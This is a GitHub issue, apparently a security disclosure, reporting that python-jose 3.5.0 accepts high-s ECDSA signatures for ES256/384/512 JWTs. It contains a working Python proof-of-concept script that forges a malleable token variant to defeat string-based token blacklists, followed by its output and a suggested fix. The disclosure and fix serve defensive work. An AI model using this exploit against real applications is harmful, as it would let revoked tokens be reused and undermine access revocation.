Skip to content

Security vulnerability: ECDSA Signature Malleability #403

@everping

Description

@everping

Summary

python-jose does not enforce low-s normalization on ECDSA signatures. For any valid signature (r, s), (r, n-s) is also accepted. This produces two distinct JWT strings with identical claims, bypassing token blacklists and deduplication.

  • Library: python-jose 3.5.0 (latest)
  • Algorithms: ES256, ES384, ES512

Root Cause

Verification path: jws.verify() -> ECKey.verify() -> cryptography library -> ec.ECDSA(hashes.SHA256()) -> OpenSSL.

No step checks s <= n/2. OpenSSL accepts both s and n-s as mathematically valid.

Impact

An attacker who obtains a valid JWT can compute a second valid JWT (different bytes, same claims) without knowing the private key. If the application revokes tokens by storing the JWT string in a blacklist, the malleable variant bypasses it.

PoC

# poc.py

import sys, io
if sys.platform == "win32":
    sys.stdout = io.TextIOWrapper(sys.stdout.buffer, encoding="utf-8", errors="replace")

from jose import jwt, __version__
from cryptography.hazmat.primitives.asymmetric import ec
from cryptography.hazmat.primitives import serialization
import base64

N = 0xFFFFFFFF00000000FFFFFFFFFFFFFFFFBCE6FAADA7179E84F3B9CAC2FC632551

def b64url_dec(s):
    return base64.urlsafe_b64decode(s + "=" * (4 - len(s) % 4))
def b64url_enc(b):
    return base64.urlsafe_b64encode(b).rstrip(b"=").decode()

# Generate ES256 key
private_key = ec.generate_private_key(ec.SECP256R1())
pub_pem = private_key.public_key().public_bytes(
    serialization.Encoding.PEM, serialization.PublicFormat.SubjectPublicKeyInfo)
priv_pem = private_key.private_bytes(
    serialization.Encoding.PEM, serialization.PrivateFormat.PKCS8, serialization.NoEncryption())

# Sign
token = jwt.encode({"sub": "user@example.com", "role": "admin"}, priv_pem, algorithm="ES256")

# Extract r, s
parts = token.split(".")
sig = b64url_dec(parts[2])
r, s = int.from_bytes(sig[:32], "big"), int.from_bytes(sig[32:64], "big")
s_prime = N - s

# Build malleable token
new_sig = r.to_bytes(32, "big") + s_prime.to_bytes(32, "big")
malleable = parts[0] + "." + parts[1] + "." + b64url_enc(new_sig)

print(f"ECDSA Malleability - python-jose {__version__}")
print("=" * 40)
print(f"Original s:  {'low-s' if s <= N // 2 else 'HIGH-s'}")
print(f"Flipped s':  {'low-s' if s_prime <= N // 2 else 'HIGH-s'}")
print(f"Tokens identical: {token == malleable}")
print()

# Verify original
try:
    jwt.decode(token, pub_pem, algorithms=["ES256"])
    print("[1] Original:  VALID")
except Exception as e:
    print(f"[1] Original:  REJECTED - {e}")

# Verify malleable
try:
    jwt.decode(malleable, pub_pem, algorithms=["ES256"])
    print("[2] Malleable: VALID")
except Exception as e:
    print(f"[2] Malleable: REJECTED - {e}")

# Blacklist bypass
blacklist = {token}
print()
print("[3] Blacklist bypass:")
print(f"    Original in blacklist:  {token in blacklist}")
print(f"    Malleable in blacklist: {malleable in blacklist}")
if malleable not in blacklist:
    print("    --> BLACKLIST BYPASSED")

Reproduction

pip install python-jose[cryptography]
python poc.py

Output:

[1] Original:  VALID
[2] Malleable: VALID
[3] Blacklist bypass:
    Original in blacklist:  True
    Malleable in blacklist: False
    --> BLACKLIST BYPASSED

Recommended Fix

After ECDSA verification, reject if s > n // 2:

if s > n // 2:
    raise JWSError('ECDSA signature s value not normalized')

Precedent: Bitcoin enforced this in 2014 (BIP-62). Go's crypto/ecdsa enforced it in 2024.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions